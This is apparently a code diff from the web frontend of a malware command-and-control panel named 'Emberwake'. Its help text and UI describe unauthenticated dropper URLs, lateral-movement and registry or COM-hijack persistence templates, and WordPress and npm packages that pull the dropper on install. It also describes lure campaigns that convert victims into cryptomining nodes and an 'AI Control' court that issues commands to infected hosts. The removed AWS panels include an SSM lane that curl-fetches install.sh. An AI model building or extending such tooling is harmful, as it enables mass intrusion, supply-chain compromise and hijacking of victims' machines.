'Standalone AWS erasure swarm: deploy plans upload RS 4+2 shards to your S3 bucket and sign CloudFront URLs into BGP swarm_magnet web-seeds. Set aws_s3_shard_bucket + aws_cloudfront_domain in server config; supply AF_AWS_ACCESS_KEY_ID, AF_AWS_SECRET_ACCESS_KEY, AF_AWS_REGION, AF_CLOUDFRONT_KEY_PAIR_ID, AF_CLOUDFRONT_PRIVATE_KEY on the server host. Agents fetch LAN peers → signed CloudFront edge_url → C2 public shard. No signup flows.',
ai_court_session: ai_court_session:
'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.', 'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
calibration_ai_control: calibration_ai_control:

View File

@@ -64,11 +64,9 @@ describe('UI_HELP', () => {
'fm_encrypt_path', 'fm_encrypt_path',
'pt_path_tracer', 'pt_path_tracer',
'pt_agent_chain', 'pt_agent_chain',
'pt_subnet_autopsy',
'fleet_runtime_policy', 'fleet_runtime_policy',
'fleet_runtime_modules', 'fleet_runtime_modules',
'spread_funnel_widget', 'spread_funnel_widget',
'subnet_immune_autopsy',
'md_overview', 'md_overview',
'md_operation_chip', 'md_operation_chip',
'md_spread_profile', 'md_spread_profile',
@@ -84,10 +82,6 @@ describe('UI_HELP', () => {
'ew_install_links', 'ew_install_links',
'ew_spread_kit', 'ew_spread_kit',
'ew_war_room', 'ew_war_room',
'ew_cloud_ecosystem',
'ew_cloud_aws',
'ew_cloud_generic',
'ew_ssm_document',
'ew_supply_chain', 'ew_supply_chain',
'ew_public_urls', 'ew_public_urls',
'ew_techniques', 'ew_techniques',
@@ -110,7 +104,6 @@ describe('UI_HELP', () => {
'set_webhook', 'set_webhook',
'ui_color_scheme', 'ui_color_scheme',
'crucible_section_spread_templates', 'crucible_section_spread_templates',
'crucible_section_launch_template',
] as const; ] as const;
it('defines help for every documented UI key', () => { it('defines help for every documented UI key', () => {

View File

@@ -105,8 +105,6 @@ export const UI_HELP: Record<string, string> = {
'Matrix of SSH local-forward rules pushed to selected Windows agents.', 'Matrix of SSH local-forward rules pushed to selected Windows agents.',
crucible_section_spread_templates: crucible_section_spread_templates:
'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.', 'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
crucible_section_launch_template:
'EC2 Launch Template strain genesis for AWS horizontal scale — cloud-init user-data embeds genesis snapshot hash, strain card ID, and server URL; first auth sets SpreadGeneration=0 and ParentAgentID=template.',
bm_pin_dropper: bm_pin_dropper:
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.', 'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
@@ -176,14 +174,6 @@ export const UI_HELP: Record<string, string> = {
'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.', 'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
ew_supply_chain: ew_supply_chain:
'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.', 'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
ew_cloud_ecosystem:
'Unified cloud deploy hub — AWS and generic cloud templates with mermaid flows, copy/download, and connection tests.',
ew_cloud_aws:
'AWS templates: S3/CF erasure swarm, SSM, Launch Template, Fargate, EventBridge, Cloud Map.',
ew_cloud_generic:
'MinIO/S3-compatible kit upload and portable curl manifest.json for any VPS.',
ew_ssm_document:
'SSM Document spread lane — Run Command curl-fetches install.sh from your command deck.',
ew_public_urls: ew_public_urls:
'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.', 'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
ew_techniques: ew_techniques:

View File

@@ -91,7 +91,6 @@ export const WS_LATEST_MESSAGE_TYPES = new Set([
'emberwake_notes_updated', 'emberwake_notes_updated',
'emberwake_war_room', 'emberwake_war_room',
'scout_constellations', 'scout_constellations',
'cloud_venue_biomes',
'agent_online', 'agent_online',
'agent_offline', 'agent_offline',
'new_share', 'new_share',

View File

@@ -27,7 +27,6 @@ import {
type ForgeDeliverable, type ForgeDeliverable,
} from '../help/forgeFormNormalize'; } from '../help/forgeFormNormalize';
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints'; import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import AwsErasureSwarmPanel from '../components/Forge/AwsErasureSwarmPanel';
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal'; import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager'; import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton'; import DownloadButton from '../components/DownloadButton';
@@ -3083,17 +3082,6 @@ export default function BuilderPage() {
<ForgeLockedHint meta={fieldMeta.webrtc_mesh_spread} /> <ForgeLockedHint meta={fieldMeta.webrtc_mesh_spread} />
</div> </div>
{calibrateConfig?.server && (
<AwsErasureSwarmPanel
server={calibrateConfig.server}
onServerChange={(patch) =>
setCalibrateConfig((prev) =>
prev ? { ...prev, server: { ...prev.server, ...patch } } : prev,
)
}
/>
)}
<div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}> <div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label"> <label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist} <input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}

View File

@@ -15,19 +15,6 @@
margin-top: 0.5rem; margin-top: 0.5rem;
} }
.emberwake-biome-chip {
display: inline-block;
margin: 0.5rem 0 0;
padding: 0.2rem 0.55rem;
font-size: 0.72rem;
letter-spacing: 0.06em;
text-transform: uppercase;
color: var(--neon-cyan, #00e8f5);
border: 1px solid rgba(0, 232, 245, 0.35);
border-radius: 999px;
background: rgba(0, 232, 245, 0.08);
}
.emberwake-section-title { .emberwake-section-title {
margin: 0 0 0.35rem; margin: 0 0 0.35rem;
font-size: 1.1rem; font-size: 1.1rem;

View File

@@ -1,4 +1,4 @@
import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState } from 'react'; import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { Link } from 'react-router-dom'; import { Link } from 'react-router-dom';
import { api } from '../api/client'; import { api } from '../api/client';
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types'; import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
@@ -22,17 +22,12 @@ import { usePresence } from '../context/PresenceContext';
import AlsoHere from '../components/Presence/AlsoHere'; import AlsoHere from '../components/Presence/AlsoHere';
import ComradeAvatar from '../components/Presence/ComradeAvatar'; import ComradeAvatar from '../components/Presence/ComradeAvatar';
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard'; import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
import SSMSpreadPanel from '../components/Emberwake/SSMSpreadPanel';
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard'; import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy'; import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
import { activeBiomeLabel, type CloudVenueSnapshot } from '../help/cloudVenueBiomeWeather';
import type { ScoutConstellationSnapshot } from '../help/scoutBiomeWeather';
import { HelpTip } from '../components/HelpTip'; import { HelpTip } from '../components/HelpTip';
import './EmberwakePage.css'; import './EmberwakePage.css';
import '../components/Presence/Presence.css'; import '../components/Presence/Presence.css';
const CloudSpreadPanel = lazy(() => import('../components/Spread/CloudSpreadPanel'));
function CopyChip({ text, label }: { text: string; label: string }) { function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false); const [ok, setOk] = useState(false);
const copy = () => { const copy = () => {
@@ -76,18 +71,6 @@ export default function EmberwakePage() {
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]); const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
const biomeLabel = useMemo(() => {
let scout: ScoutConstellationSnapshot | null = null;
let cloud: CloudVenueSnapshot | null = null;
if (latestMessage?.type === 'scout_constellations') {
scout = latestMessage.payload as ScoutConstellationSnapshot;
}
if (latestMessage?.type === 'cloud_venue_biomes') {
cloud = latestMessage.payload as CloudVenueSnapshot;
}
return activeBiomeLabel(scout, cloud);
}, [latestMessage]);
// Keep refs so `load` can read current pin values without listing them as deps. // Keep refs so `load` can read current pin values without listing them as deps.
// Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB → // Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB →
// re-render → new load reference → useEffect fires load() again (×N). // re-render → new load reference → useEffect fires load() again (×N).
@@ -256,11 +239,6 @@ export default function EmberwakePage() {
<p className="page-subtitle"> <p className="page-subtitle">
Tag install links, export lure kits, and track which campaigns convert all from one desk. Tag install links, export lure kits, and track which campaigns convert all from one desk.
</p> </p>
{biomeLabel && (
<p className="emberwake-biome-chip font-tech" data-testid="emberwake-biome-chip">
Weather biome · {biomeLabel}
</p>
)}
<p className="emberwake-hero-links form-hint"> <p className="emberwake-hero-links form-hint">
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer"> <a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
Spread techniques playbook Spread techniques playbook
@@ -528,16 +506,6 @@ export default function EmberwakePage() {
)} )}
</section> </section>
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">Cloud Ecosystem <HelpTip field="ew_cloud_ecosystem" /></span>
<span className="emberwake-section-desc emberwake-advanced-tag">AWS + generic</span>
</summary>
<Suspense fallback={<p className="form-hint">Loading cloud deploy hub</p>}>
<CloudSpreadPanel serverUrl={serverBase} buildId={pinA} campaign={campaign} />
</Suspense>
</details>
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive"> <details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary"> <summary className="emberwake-advanced-summary">
<span className="emberwake-section-title"> <span className="emberwake-section-title">
@@ -584,16 +552,6 @@ export default function EmberwakePage() {
</ul> </ul>
</details> </details>
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
<summary className="emberwake-advanced-summary">
<span className="emberwake-section-title">
Spread methods AWS SSM Document <HelpTip field="ew_ssm_document" />
</span>
<span className="emberwake-section-desc emberwake-advanced-tag">Owned EC2</span>
</summary>
<SSMSpreadPanel serverBase={serverBase} buildId={pinA} campaign={campaign} />
</details>
<section <section
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block" className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
aria-labelledby="ew-techniques-heading" aria-labelledby="ew-techniques-heading"

View File

@@ -382,12 +382,6 @@ export interface ServerSettings {
erasure_lanes_enabled?: boolean; erasure_lanes_enabled?: boolean;
/** Fleet Torrent shard DHT + cross-subnet gossip (default off). */ /** Fleet Torrent shard DHT + cross-subnet gossip (default off). */
fleet_torrent_enabled?: boolean; fleet_torrent_enabled?: boolean;
aws_s3_shard_bucket?: string;
aws_s3_shard_region?: string;
aws_cloudfront_domain?: string;
fargate_burst_campaign?: boolean;
fargate_burst_ttl_hours?: number;
fargate_burst_expires_at?: string;
/** Triple onion recon/deploy gates pushed to agents at auth. */ /** Triple onion recon/deploy gates pushed to agents at auth. */
triple_onion_policy?: { triple_onion_policy?: {
patch_first?: boolean; patch_first?: boolean;